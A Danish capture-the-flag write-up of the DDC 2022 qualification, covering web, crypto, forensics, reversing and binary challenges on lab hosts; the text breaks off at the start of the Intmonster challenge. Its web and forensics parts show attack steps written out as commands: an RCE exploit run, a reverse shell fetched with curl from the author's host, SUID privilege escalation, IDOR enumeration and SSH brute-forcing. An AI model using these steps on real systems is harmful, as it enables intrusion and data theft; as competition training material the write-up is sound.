29 minute read

De Danske Cybermesterskaber 2022 - Kvalifikation

Preface

This is a writeup of the CTF for qualifying to the danish national cybersecurity team. As the CTF is in danish, the writeup will be likewise.


Det har været super fedt at kunne være en del af DDC 2022, og forsøge sig med alle de mange forskellige typer af opgaver. Jeg føler allerede at jeg har lært en del, siden sidste års kvalifikation.

Nogle opgaver har jeg brugt længere tid på end andre, men det lykkedes mig alligevel at få 15/15, hvilket jeg er rigtig godt tilfreds med. Især når jeg føler at mine skills inde for bin / rev er lige omkring inteteksisterende.

Web Exploitation

Jacobs Hus

Sværhedsgrad: Meget Let
Haaukins API: Ja
Beskrivelse:

det det det det, det det det det det jacobs hus: http://jacobshus.hkn

På hjemmesiden bliver man præsenteret med følgende besked:

jacobs hus, ingen robotter tak

Så jeg besøgte naturligvis /robots.txt, hvilket gav følgende resultat:

User-agent: *
Disallow: /backup

/backup giver en directory listing, med en enkelt fil: hemmelig.txt.

Udover at filen indeholder nogle karkterer, som ikke er encoded ordentligt, så bliver man præsenteret med følgende (afkortet).

husk nu din kode til husets indgang!

koden er: 'kodeord'

og du kommer ind med ssh
HEHEHEHHEHEHEHEHHEHEHEH

Hallo?
Kom ind, kom ind
Du ved det

Der altid vildt i jacobs hus
Og der gået ild i jacobs hus
Der ikk' noget tag på jacobs hus
Det er blæst af på jacobs hus

--- afkortet --- 

Det ser ud til at være teksten til sangen “HUS” med Specktors & Nonsens, hvor “vores” er erstattet af “jacobs”.

Dog er de første par linjer et hint til hvad vi skal gøre for at komme videre. Vi prøver med SSH på domænet, som jacob.

ssh [email protected]

Og vi får en shell!

ls giver dog intet, for jacobs hjemmemappe. Til gengæld giver id os noget at arbejde med

$ id
uid=1000(jacob) gid=1000(jacob) groups=1000(jacob),27(sudo)

# vi kan altså blot sudo
$ sudo su

Efter at have skrevet kodeordet (kodeord) endnu en gang, er vi pludselig root. Og i roots home directory ligger mindsandten et flag!

$ cat /root/flag.txt
DDC{d3t_d3t_d3t_d3t_d3t_d3t_d3t_j4c0bs_hus}

Flag: DDC{d3t_d3t_d3t_d3t_d3t_d3t_d3t_j4c0bs_hus}


Forretningen

Sværhedsgrad: Mellem
Haaukins API: Ja
Beskrivelse:

Alle de ting man kan købe på http://forretningen.hkn, omg waw

forretningen.hkn byder på en webshop, hvor du kan købe alt fra fashion, til teknologi.

Forretnigen forside

Jeg brugte noget tid på at gennemsøge de mange directories, som er blookeret i robots.txt:

User-agent: *
Disallow: /cgi-bin/
Disallow: /admin/
Disallow: /checkout/
Disallow: /content/cache/
Disallow: /control/
Disallow: /docs/
Disallow: /install/
Disallow: /logs/
Disallow: /product-downloads/

Samt at se om man kunne lave noget directory traversal. Dog alt sammen uden held…

Til sidst søgte jeg blot på det framework som er blevet brugt til at lave hjemmesiden på nettet.

Der kommer to meget interessante resultater op, først et på exploit-db.com, samt et på GitHub.

Det viser sig nemlig at man kan udføre unauthenticated RCE på hjemmesiden.

Det skulle naturligvis prøves, så jeg tog scriptet fra GitHub, og copy-pastede det ind i VMen og kørte det op mod hjemmesiden.

$ python3 maian-cart-rce.py "http://forretningen.hkn" /

Nu har vi en shell!

Dog med det forbehold, at det blot er enkelte kommandoer vi sender af gangen, så vi kan f.eks. ikke skifte directory.

Vi kan dog stadig kalde enkelte kommandoer, som f.eks. at køre en faktisk reverse shell, hvilket findes på GitHub. Det eneste der ændres er IPen 77.197.4.4 og porten 9001 i dette tilfælde. I directoriet for rev.php nu ligger, laves en webserver python3 -m http.server - kører som standard på port 8000.

Nu kan vi fra vores RCE shell hente php filen, med curl http://77.197.4.4:8000/rev.php > rev.php Efter dette er gjort, sætter vi en netcat listener op, på vores egen maskine, sådan at reverse-shellen fanger noget.

# sætter en listener op til reverse shell fra serveren, på klienten
$ nc -lvpn 9001
# kører `php rev.php` på serveren, hvorefter vi er "inde".
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nu vil vi gerne privilege escalere, da www-data ikke har særlig mange rettigheder. En klassisk måde at gøre dette på, er ved at lede efter filer med SUID sat.

Dette kan gøres med find kommandoen:

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 76496 Jan 25 16:26 /usr/bin/chfn
-rwsr-xr-x 1 root root 238080 Nov  5  2017 /usr/bin/find
-rwsr-xr-x 1 root root 59640 Jan 25 16:26 /usr/bin/passwd
-rwsr-xr-x 1 root root 75824 Jan 25 16:26 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jan 25 16:26 /usr/bin/chsh
-rwsr-xr-x 1 root root 40344 Jan 25 16:26 /usr/bin/newgrp
-rwsr-xr-x 1 root root 26696 Sep 16  2020 /bin/umount
-rwsr-xr-x 1 root root 43088 Sep 16  2020 /bin/mount
-rwsr-xr-x 1 root root 44664 Jan 25 16:26 /bin/su

Vi kan nu gå på GTFOBins, for at se om der er nogle af disse programmer, som kan bruges til at få en eleveret shell.

Og der er bingo! Selve find kommandoen som vi lige har brugt, kan bruges, da den beholder rettighederne, efter at have kørt med SUID.

$ find . -exec /bin/sh -p \; -quit
# der kommer ingen repons, da vi kører inden i `find` kommandoens miljø
$ id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# vi har nu Effective User ID (EUID) som root...
$ cd /root
# altid et godt sted at starte
$ ls
flag.txt
# der var vi heldige
$ cat flag.txt
DDC{l4D_m1G_h4ck3_d3n_f0rr3tn1ng_h3h3h3h3h3h3h3}

Flag: DDC{l4D_m1G_h4ck3_d3n_f0rr3tn1ng_h3h3h3h3h3h3h3}


House of vCards

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Jeg har lavet en ny smart side, så folk kan holde styr på alle deres kontakter, men jeg er lidt nervøs for at have så meget personfølsom data liggende. Kan du tjekke siden igennem og se, hvad du kan få adgang til? http://contacts-vault.hkn

Igen starter vi på hjemmesiden, som er givet.

Contact Valut

Man kan enten logge ind, eller oprette en bruger. Vi starter med at oprette en, for at få adgang.

Efter vi er logget ind, kan vi oprette kontakter. Vi prøver at oprette en, for at se hvad der sker.

Oprettet Kontakt

URLen for den oprettede bruger er interessant, da vi får et ID givet. De tre nedenstående links, er hvad de tre knapper henviser til.

vCard: http://contacts-vault.hkn/files/vcards/201.vcf
Edit: http://contacts-vault.hkn/contacts/edit/201
Delete: http://contacts-vault.hkn/contacts/delete/201

Kontakten vi har oprettet har altså id 201. Vi kan jo forsøge at hente hans data, uden at være logget ind. Dette gøres med curl.

$ curl http://contacts-vault.hkn/files/vcards/201.vcf
BEGIN:VCARD
VERSION:3.0
FN:John Doe
N:John;Doe;;
EMAIL;[email protected]
TEL;:123
END:VCARD 

Det virkede!

Nu kan vi altså forsøge at hente alle filerne op til ID 201.

$ curl http://contacts-vault.hkn/files/vcards/[1-200].vcf
BEGIN:VCARD
VERSION:3.0
FN:Peggy Wolfe
N:Peggy;Wolfe;;
EMAIL;[email protected]
TEL;:366-932-5061
END:VCARDBEGIN:VCARD
VERSION:3.0
FN:Katherine Casey
N:Katherine;Casey;;

--- afkortet ---

# der kommer rigtig meget ouput efter denne kommando, 
# så vi kører den igen, og grepper efter et flag.
# derudover sætter vi curl til at køre `silent`, med -s

$ curl -s http://contacts-vault.hkn/files/vcards/[1-200].vcf | grep DDC
EMAIL;DDC{b3tt3r_f1x_th4t_IDOR_vuln_b3f0r3_n3xt_GDPR_4ud1t}

Flag: DDC{b3tt3r_f1x_th4t_IDOR_vuln_b3f0r3_n3xt_GDPR_4ud1t}


Cryptography

Defeating Caesar

Sværhedsgrad: Meget Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

En af de ældste former for kryptering er cæsar-ciferen, hvor hvert bogstav roteres af en hemmelig nøgle. Kan du dekryptere flaget?

Caesar cipheren er en klassisk (omend elendig) “kryptering”. Her er brugt et dansk alfabet, og vi ved ikke hvor meget alfabetet er roteret med, heldigvis har vi scriptet som er brugt til at lave cifferteksten.

Det vigtigste er dette:

def add(a, b):
    # Ignore spaces
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) + alphabet.index(b)) % len(alphabet)]

def caesar_encrypt(key, text):
    ciphertext = ""
    for i in range(len(text)):
        ciphertext += add(text[i], key)
    return ciphertext

Vi kan nu blot skrive en ny funktion, til at dekryptere med, og så prøve med alle keys i alfabetet len(alphabet) = 29.

Det eneste der er ændret i nedenstående kode er, at sub trækker de to værdier fra hinanden, i stedet for at lægge dem sammen.

Faktisk kan den også løses, blot ved at køre krypteringen igen, da det hele står modulo af længden af alfabetet. Dog ville man ikke finde frem til den originale nøgle som er brugt til krypteringen.

import string

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def sub(a, b):
    # Ignore spaces
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def caesar_decrypt(key, cipher):
    text = ""
    for i in range(len(cipher)):
        text += sub(cipher[i], key)
    return text

def main():
    with open('encryption.txt', 'r', encoding='utf-8') as f:
        cipher = f.read()

    for key in alphabet:
        guess = caesar_decrypt(key, cipher)
        if guess[:3] == 'ddc':
            print(guess)
            print(f'Key used: {key}')
            break

if __name__ == '__main__':
    main()
python decrypt.py
ddc super classical crypto
Key used: y

Flag: DDC{super_classical_crypto}


Le Chiffrage Indéchiffrable

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

En mere avanceret substitutionsciffer er vignere ciffer, hvor en længere nøgle bruges til at forhindre brute force angreb. Den krypterede tekst er på dansk, måske kan det hjælpe at vide dette?

Efter at have set på koden, konstaterer jeg ret hurtigt, at det er en implementering af Vigenrére Cipher. Det er i bund og grund en udviddet ROT (Caesar) Cipher, hvor man krypterer med forskellige rotationer (keys), defineret ud fra et keyword.

Vores opgave er nu, at finde frem til dette keyword, som altså har en længde på 6 cifre. Derudodver ved vi at den originale tekst, er skrevet på dansk, hvilket gør at vi kan lave noget frekvensanalyse af bogstaverne.

Som ved Caesar opgaven, laves blot funktioner, til i stedet at finde differancen mellem to bogstaver. Og ved så at se på opbygningen af teksten, kan man give kvalifecerede bud på, hvad dele af nøglen er, til at dekryptere teksten.

import string

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def sub(a, b):
    # ignore spaces and newlines
    if a in string.whitespace:
        return a
    # rotate character by the key character's index in the alphabet
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def vignere_decrypt(key, text):
    cleartext = ""
    for i in range(len(text)):
        cleartext+= sub(text[i], key[i%len(key)])
    return cleartext

def main():
    with open('encryption.txt', 'r', encoding='utf-8') as f:
        text = f.read()

    key = 'aaaaaa'

    cleartext = vignere_decrypt(key, text)
    print(cleartext)

if __name__ == '__main__':
    main()

Nu kan vi så begynde at se på teksten til, og f.eks. få det til at passe med at enkeltstående bogstaver, skal være i’er. Af enkeltstående bogstaver, findes både h, t og u. For at blive til et i, skal de hver især roteres med hhv. å, l og m.

Nedenstående kode, kan bruges til at finde det bogstav som er brugt til at komme fra original til letter.

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def rotate(original, letter):
    return alphabet[alphabet.index(letter) - alphabet.index(original)]

For at vi ved hvilken af pladserne i vores key, vi skal erstatte, kan vi se på hvor i teksten bogstaverne opstår. Nøglen gentages hele vejen gennem teksten, til der ikke er mere tilbage at kryptere. Det betyder at vi blot kan udregne \((index-1) \mod{6}\), for at se hvilken plads i nøglen der skal erstattes.

Vi ser på den første enkeltstående karakter i cifferteksten, som er et h, på index 390, dog skal vi huske at trække \(1\) fra, inden vi udregner modulus, da python starter indexes ved 0 og editoren ved 1.

\[(390-1) \mod{6} = 5\]

Index 5 af vores nøgle skal altså være et å, hvis vi antager et h‘et er et i.

Det samme gøres for hhv. t og u, hvorved vi får den foreløbe nøgle: almaaå.

Hvis vi kører dekrypterings-programmet fra før, med denne nøgle, kan vi nu se på om noget af teksten giver mening, og give yderligere kvalificerede bud på, hvad de andre bogstaver i nøglen er.

$ python ./decrypt.py
celøomwen tiv duc  flrgea kcmmor åigo oa lsdt huåk rt ailwøjo tiboøgkåamwer ruxdt om flrgea lzge soa avle annre flkg cg bdsøifa
mvllomrimexe aed unueråcofes    flkgeh eø     ndc frokvvns anrlyåe då nangk aexh
--- afkortet ---

Allerede det første ord, kunne jo godt danne ordet “velkommen”. Igen bruger vi den korte stump af kode, til at udregne hvad forholdet mellem c og v er, samt ø og k. Her får vi hhv. k og r, hvilket skal sættes ind på index 0 og 3.

Nøglen er nu: klmraå, og vi kører programmet igen:

$ python ./decrypt.py
velkommen til ddc  flaget kommer lige om lidt husk at tilføje tuborgklammer rundt om flaget lige som alle andre flag og udskift
mellemrumene med underscores    flaget er     ddc frekvens analyse på dansk text
--- afkortet ---

Den efterfølgende tekst (afkortet) er fra den danske wikipedia om flag.

Flag: DDC{frekvens_analyse_på_dansk_tekst}


Modularity

Sværhedsgrad: Mellem
Haaukins API: Nej
Fil: Download
Beskrivelse:

Moderne krypteringssystemer gør stor brug af modulære aritmetiske og algebraiske operationer. Her er et hjemmebygget krypteringssystem baseret på disse operationer, kan du implementere dekryptering og knække chifferteksten? Chifferteksten er krypteret med en firecifret streng, mellem 0000 og 9999

Nu begynder det at ligne kryptografi, da vi skal regne med modulus og store primtal…

Jeg har heldigvis skrevet om kryptografi i 3.g, da vi skulle skrive SOP (se bare her…) Det er dog nogle år siden, så jeg måtte bruge noget tid på at opfriske en hel del af teorien, samt en masse søgninger på nettet.

Jeg vil dog godt komme med en disclaimer ift. min forklaring, da den er meget flydende på nogle punkter Det er ikke alt det matematiske jeg har så godt styr på forklaringen bag, så nogle ting må bare tages for givet, eller du må selv læse op på det. Jeg har forsøgt at forklare det så godt som muligt, uden at skrive en halv roman.

Derudover har jeg oprettet mit eget flag, krypteret det med algoritmen, og sammenlignet tallene, ved at forsøge at bryde mit eget flag, da jeg på den måde kan verificere at jeg har regnet rigtigt.

Selve krypteringen består af en enkelt linje.

encryption = pow((a*encryption + b)%p,c,p)

For at skrive det mere matematisk:

\[encryption = ((a \cdot encryption + b)\mod{p})^c\mod{p}\]

Vi starter udefra og ind, så til at starte med, forsøger vi at isolere følgende udtryk:

\[((a \cdot encryption + b)\mod{p})\]

Alt dette kan heldigvis lade sig gøre, \(p\) er et primtal, og ingen af de andre tal (enkeltstående) er større end \(p\), hvilket betyder at de er indbyrdes primiske.

Python har heldigvis en indbygget funktion til at udregne inverse elementer, med syntaksen pow(a, -1, n) Hvor a er den konstant som multipliceres med med returværdien, modulo n, for at få \(1\).

Grunden til at det inverse elemente er interessant, er at det bruges til at udregne den originale værdi, inden pow(), ved brug af et primtal. Jeg har også fået lidt hjælp fra stackoverflow <3.

Springer man over den lange forklaring, kan vi udregne produktet af parentesen, ved at udregne følgende:

\[d = (c^{-1} \equiv 1 \mod{(p-1)})\] \[cipher^d\mod{p}\]

Vi udregner altså det inverse element, modulo \(\phi\) (phi), som i dette tilfælde er \(p-1\), da \(p\) er et primtal. Denne værdi kaldes \(d\), og vores ciffertekst, opløftes nu i \(d\), modulo \(p\), hvorved resultatet bliver den indre værdi af førnævnte parentes.

Nu mangler vi altså bare at reverse (a*encryption + b) % p.

Det lette er b, som blot trækkes fra, og resultatet sættes modulo \(p\), hvorved vi kun står tilbage med (a*encryption) % p.

\[product = (inner - b) \mod{p}\]

For at reverse dette stykke, skal vi gøre noget af det samme som før, blot med \(p\) i stedet for \(\phi\). Matematikken bag dette, er at hvis man ganger med det inverse element (mod p), svarer det til at gange med den reciprokke, hvilket er hvad vi gerne vil, for at isolere den ene faktor.

Dette står nærmere beskrevet på wikipedia. Eksemplet gør sig gældende her, da vi med sikkerhed ved at \(gcd(a, p) = 1\), fordi \(p\) er et primtal, større end \(a\).

Nedenfor beskrives encryption, som \(x\), da det er den ukendte.

\[(a \cdot x) \mod{p}\]

Kan udledes til

\[x \equiv (x \cdot a \cdot a^{-1}) \mod{p}\\ x \equiv (x \cdot 1) \mod{p}\]

Hvis

\[gcd(a, p) = 1\]

\(gcd\) er “greatest common divisor”, altså det største tal, som går op i både \(a\) og \(p\), hvilket som sagt altid er \(1\), for alle tal, med et primtal større end sig selv.

Alt i alt ser det sådan ud:

# reverse pow(), brug af eulers phi-funktion
d_1 = pow(c, -1, phi)
inner = pow(ciphertext, d_1, p)

# simpel subtraktion
product = (inner - b) % p

# isolation af faktor, ved brug af inverst element
d_2 = pow(a, -1, p)
ciphertext = (product*d_2) % p

Nu mangler vi blot at gentage denne process 128 gange, samt at brute-force de 10000 muligheder vi har for et seed til random biblioteket.

samlet ser koden ud som følger:

import random

p = 97953958723054470944201407781333999671402425802271290596631886639255617548503
phi = p-1
cipher = 69494773765711558796303044899201719046500256450239245029456014825686379192778

def decrypt(ciphertext, pw):
    random.seed(pw)
    
    l = []
    for _ in range(128):
        a = random.randint(2,2**255)
        b = random.randint(2,2**255)
        c = random.randint(2,2**255)
        if c%2 == 0:
            c -= 1

        l.append([a, b, c])

    for round in range(1, 129):
        a, b, c = l[-round] 

        d_1 = pow(c, -1, phi)
        inner = pow(ciphertext, d_1, p)

        product = (inner - b)%p

        d_2 = pow(a, -1, p)
        ciphertext = (product*d_2)%p

    return ciphertext

def main():
    for i in range(10000):
        pw = str(i).zfill(4)
        dec = decrypt(cipher, pw)

        flag = int.to_bytes(dec, (dec.bit_length() + 7) // 8, 'big')

        if flag.startswith(b'DDC{'):
            print(pw)
            print(flag)
            break

if __name__ == '__main__':
    main()
$ python decrypt.py
0403
b'DDC{youtu.be/wfG6z5J4PRI}'

Flaget henviser til denne video. (Så vidt jeg husker).

Flag: DDC{youtu.be/wfG6z5J4PRI}


Misc

The Artist

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Gå til http://friendspace.hkn Hvem har taget billedet af turtelduerne?

Det falske facebook

Vi opretter en bruger og logger ind.

Efter at dette er gjort, er vi præsenteret med en UI, som umiskendeligt ligner en kopi af Facebook. Opgaven spørger ind til, hvem der har taget billedet af turtelduerne, og det ses at “Linda Jefferson” har lagt et billede op med beskrivelsen “Broccolooooove with my dearest! <3”.

Vi henter billedet og inspicerer det nærmere.

$ curl http://friendspace.hkn:5000/uploads/lindajeff1.jpeg -o billede.jpeg
$ eog billede.jpeg

I “Eye of GNOME” (eog), åbner vi egenskaber for billedet og klikker rundt og læser om der skulle stå noget interessant meta-data om billedet. Under “Details” ses det at photoshop:AuthorsPosition er sat til DDC{kn0w_wh47_d474_y0u_l34k}.

Faktisk kunne vi også finde flaget, blot ved at bruge strings på billedet og greppe efter “DDC”.

$ strings billede.jpeg | egrep -o "DDC{.*}"
DDC{kn0w_wh47_d474_y0u_l34k}

Flag: DDC{kn0w_wh47_d474_y0u_l34k}


Nyan The Netcat

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Scan netværket se, hvad du finder. Men pas på! Net-katte og festpapegøjer lurer måske!

Vi finder vores IP addresse og scanner hele subnettet med nmap.

$ ip a
--- afkortet ---
# IP: 77.218.111.4/24

$ nmap 77.218.111.0/24

Nmap scan report for 77.218.111.2
Host is up (0.00053s latency).
All 1000 scanned ports on 77.218.111.2 are closed

Nmap scan report for 77.218.111.3
Host is up (0.00056s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
53/tcp open  domain

Nmap scan report for 77.218.111.4
Host is up (0.00060s latency).
All 1000 scanned ports on 77.218.111.4 are closed

Nmap scan report for 77.218.111.33
Host is up (0.00058s latency).
All 1000 scanned ports on 77.218.111.33 are closed

Nmap scan report for 77.218.111.70
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4242/tcp open  vrml-multi-use

Nmap scan report for 77.218.111.111
Host is up (0.00043s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
6969/tcp open  acmsoda

Nmap scan report for 77.218.111.139
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4444/tcp open  krb524

Naturligvis forsøger vi at se hvad der er på de åbne porte.

trolled.png

Vi er stødt på en af de vilde net-katte, som opgaven advarede om, og der er intet flag at komme efter.

Port 6969 og 4242 giver det samme output, på de to maskiner de kører på.

Hvis jeg ikke tager meget fejl er .2 maskinen en del af haaukins, .3 DNS, igen tilhørende miljøet og .4 mig selv. Dog er der stadig .33 som står tændt, men vi ikke fandt nogle åbne porte på… Men nmap kører også kun de 1000 mest brugte porte, hvis man ikke specificerer andet. Vi scanner maskinen igen, denne gang med alle portene.

$ nmap 77.218.111.33 -p-

Nmap scan report for 77.218.111.33
Host is up (0.00017s latency).
Not shown: 65534 closed ports
PORT    STATE SERVICE
420/tcp open  smpte

# vi forsøger igen med netcat.
$ nc 77.218.111.33 420

+-----------------------------------------------------------------+
|Well done young one! Here is your Flag DDC{ny4n_ny4n_ny4n_n37c47}|
+-----------------------------------------------------------------+
       \
        \     ▄▄▄▄▄▄▄▄
         \  ▄ ▄      ▄▄ ▄
          ▄ ▄            ▄
          ▄      ▄▄▄▄▄    
         ▄               ▄ ▄
        ▄                   
                 ▄          
                  ▄ ▄       
         ▄        ▄ ▄      ▄▄ ▄
          ▄                   ▄▄ ▄
          ▄ ▄▄▄▄                 ▄▄ ▄
              ▄▄▄▄                  ▄▄ 
        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

Flag: DDC{ny4n_ny4n_ny4n_n37c47}


Rona aka ..

Sværhedsgrad: Meget Let
Haaukins API: Ja
Beskrivelse:

Gå til http://friendspace.hkn Rona aka SARS-CoV-2 aka COVID19 har gjort vores hjemme arbejdsplads meget interessante!

Vi har allerede en bruger herinde, fra “The Artist” opgaven, som kører på samme instans.

Ved at scrolle lidt ned gennem tidslinjen, ses det at “Jens RealJens” har postet et billede af sin computer, nu hvor han arbejder hjemmefra. Derudover er der sat en gul post-it på comptueren, og de der deltog ved DDC2021, vil have lært, at man skal se godt efter på billeder, da de kan indeholde mange hints til flag…

post-it med creds

Det kunne godt lige SSH credentials, men efter at have forsøgt det, viser det sig at hverken fs.hkn eller friendspace.hkn har åbent for port 22 (SSH).

I stedet prøver vi at logge direkte på friendspace, med disse credentials (pass: SOCIALDDC2022).

hacking Jens

Det virkede! Efter vi er logget ind, ses det at Jens er venner med bl.a. Linus Torvalds (grundlæggeren af Linux). Klikker vi ind på hans profil, kan vi se et par opslag han har lavet, og ikke så meget andet…

Dog kan vi også chatte med ham, hvor vi finder noget interessant.

oh linus...

Flag: DDC{w3_607_4_cr3d3n714l_l34k_0v3r_h3r3}


Forensics

Yes or No

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

En klog tilgang til social engineering er altid væsentlig eller ej? Måske giver brute force alt hvad vi har brug for. Lad os se, om du kan logge ind med brugernavnet admin på SSH-serveren på domænet http://sshbrute.com

Efter at have forsøgt at logge ind, kommer følgende beked:

$ ssh [email protected]

 _____ _____ _   _ _                _   ___   _____________  ___  _           _ 
▂▃▅▆▇█ y █ e █ s █   █ o █ r █   █ n █ o █▇▆▅▃▂


You can always answer questions with “Yes” or “No”.
And everything consists of two puzzles.
Maybe all data can be identified with two special things like in the digital computers.
Some passwords consist of only these two puzzles, like yes or no.
Maybe it is sensible to try 8 long passwords with these two puzzles. 

Dette kunne godt tyde på at kodeordet består af hhv. 0 og 1, og er 8 karakterer langt.

Vi genererer en liste med alle de mulige passwords i Python.

$ python -c "for i in range(2**8): print(format(i, 'b').zfill(8))" > kodeord.txt

Nu mangler vi blot at brute-force det rigtige kodeord, dette gøres med hydra.

$ hydra -l admin -P kodeord.txt ssh://sshbrute.com
--- afkortet ---
[22][ssh] host: sshbrute.com   login: admin   password: 10011010
1 of 1 target successfully completed, 1 valid password found
--- afkortet ---

Vi logger ind med kodeordet 10011010.

$ ssh [email protected]
__        __   _                          
\ \      / /__| | ___ ___  _ __ ___   ___ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
  \ V  V /  __/ | (_| (_) | | | | | |  __/
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Congratulations, here's a flag for you:

DDC{b1nARy153V3ryWh3r3}

Flag: DDC{b1nARy153V3ryWh3r3}


Meta

Sværhedsgrad: Meget Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Vi har modtaget et billede fra vores agent. Han siger, at der er en hemmelighed gemt inde i den. Kan du finde det?

Noget siger mig at denne opgave har med metadata at gøre, så vi kan åbne billedet i en viewer, som kan vise noget af al denne info (f.eks. GIMP), eller blot forsøge at køre strings og greppe efter flaget.

$ strings meta.png | egrep -o "DDC{.*}"
DDC{h1dd3n_1n_m3tad4t4}

flag: DDC{h1dd3n_1n_m3tad4t4}


Super Secure Vault 9001

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Vi har modtaget en alarm fra vores monitoring system og har brug for, du kigger vores netværkslogs igennem. Alarmen blev sendt fra vores “Super Secure Vault 9001” system, hvor jeg opbevarer alle mine topfortrolige dokumenter. Sandsynligheden for et reelt breach på et så sikkert system er naturligvis mikroskopisk, men hvis du alligevel finder noget, rapporterer du selvfølgelig direkte tilbage til mig UDEN selv at snuse mere rundt!

– Lone Skum, CEO ClosedML

Vi åbner .pcap-filen i Wireshark, og ser straks at der er en masse HTTP traffik, hvilket betyder at vi kan læse præcis hvad der er foregået, da det er ukrypteret.

Man kan følge en bestemt stream, ved at højreklikke på en pakke og vælge Follow > TCP Stream (Ctrl + Alt + Shift + T).

Efter at have rodet lidt rundt med filen, støder man på fortrolig.pdf, som bliver hentet ned til klienten.

Ved at vælge File > Export Objects > HTTP... kan man se alle filerne som er blevet overført, og endda regenerere dem. Til sidst får vi genereret denne fil, i hvilken flaget står.

Flag: DDC{1ng3n_får_adg4n6_t1l_m1n_sup3r_s3cur3_v4ul7_9001!}


Reverse Engineering

Password Checker

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Jeg har sikret mit program med et password, så kun jeg kan bruge det! Kan du gætte mit password og skaffe dig adgang?

Som en lille disclaimer, må jeg advare om at jeg er virkelig dårlig til reversing opgaver - vil gerne blive bedre, men for nu forstår jeg ikke meget af de mange assembly instruktioner…

Jeg startede med at bruge både gdb og r2, samt at se en masse videoer af simpel reversing, da opgaven står som “let” tænkte jeg at det måtte kunne lade sig gøre. Jeg formåede da også at ændre i nogle registre, sådan at koden hoppede til hvor jeg vandt, men det gav ikke meget, da flaget er selve kodeordet.

Efter noget tid kom jeg i tanker om denne video, med John Hammond, som jeg har set for efterhånden lang tid siden.

I videoen viser han hvordan man bruger angr, til at reverse en binary, i en mere brute-force stil. Straks tænkte jeg at det må være min løsning, da jeg ingen ide har om hvad flaget er.

I samme video, starter han med at vise, hvordan han bruger ghidra, til at reverse den binære fil. Så jeg får hurtigt installeret java, samt ghidra, og kører det straks op, for at analysere funktionen check_password.

Jeg vil klart anbefale dig at se videoen, ikke mindst da angr faktisk også er et interessant tool til at løse reversing opgaver med. Derudover kan det være rart at få en gennemgang af hvordan ghidra virker, hvis du aldrig har prøvet det før.

ghidra reverser check_password til følgende:

_Bool check_password(char *pwd) {
    int i;
    _Bool correct;

    correct = true;
    for (i = 0; i < 0x35; i = i + 1) {
        if (pwd[i] != (char)(masked[i] + -0x42)) {
            correct = false;
        }
    }
    return correct;
}

Flaget har altså en længde på 0x35 = 53, og kan findes i variblen masked.

Hopper vi i ghidra til masked, finder vi en lang liste af tal, dette giver også mening, da vi i check_password, skal trække 0x42 = 66 fra hvert element. I sidste ende skal dette konverteres til en char, for rent faktisk at blive til karakterer.

Til min store glæde kan ghidra exportere til en python liste, hvilket jeg selvfølgelig gjorde, hvorefter jeg følte mig klart mere på hjemmebane.

ghidra funktionalitet

masked = [ 0x86, 0x86, 0x85, 0xbd, 0xaf, 0x76, 0xb5, 0xad, 0x73, 0xb0, 0xa9, 0xa1,
0xaf, 0xbb, 0xa1, 0xb2, 0x76, 0xb5, 0xb5, 0xb9, 0x72, 0xb4, 0xa6, 0xa1, 0x77, 0xaa,
0x72, 0xb7, 0xae, 0xa6, 0xa1, 0xa4, 0x75, 0xa1, 0xa9, 0x72, 0x72, 0xa6, 0xa1, 0x75,
0xb0, 0x72, 0xb7, 0xa9, 0xaa, 0xa1, 0xb4, 0x73, 0xa9, 0xaa, 0xb6, 0x81, 0xbf ]

flag = ''.join([chr(i - 0x42) for i in masked])

print(flag)
$ python ./reverse.py
DDC{m4sk1ng_my_p4ssw0rd_5h0uld_b3_g00d_3n0ugh_r1ght?}

Flag: DDC{m4sk1ng_my_p4ssw0rd_5h0uld_b3_g00d_3n0ugh_r1ght?}


Binary Exploitation

Intmonster

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

For at komme forbi denne udfordring du skal tilgå et spil på nc Intmonster.hkn 9000 I dette spil skal du besejre monsteret, der vogter flaget. Spillet går fremad i runder, hvor du kan lave et træk og monsteret angriber dig.

Både du og monsteret starter spillet med 90 livs point. For hver runde af spillet kan du enten:

Angribe monsteret
Drikke eliksirer (du har 5)
Drikke gift

Den sidste mulighed er lidt fjollet, der er ingen god grund til at ville forgifte dig selv, du kan kun reducere din egen livs point på den måde.

$ nc intmonster.hkn 9000
Welcome to the unwinnable monster attack game 
An attack delivers 10 health points of damage, and drinking a potion wins you back 5. 
But be aware! The monster delivers 15 points of damage in each round 
You can also drink poison if you want to, which you can drink an unlimited amount of, but it will kill you 
            _.------._ 
          /           \ 
          |  O    O    |   
          |  .vvvvv.   |  
          |  |     |   |    
          |  .^^^^^.   |
          |____________|
________________________________________________ 
        |    Round 1    | 
        |You    |Monster | 
Health  |   90  |   90   | 
Potions |    5  |        | 

 - Your options are: 
 1. To attack monster 
 2. Drink potions 
 3. Drink poison

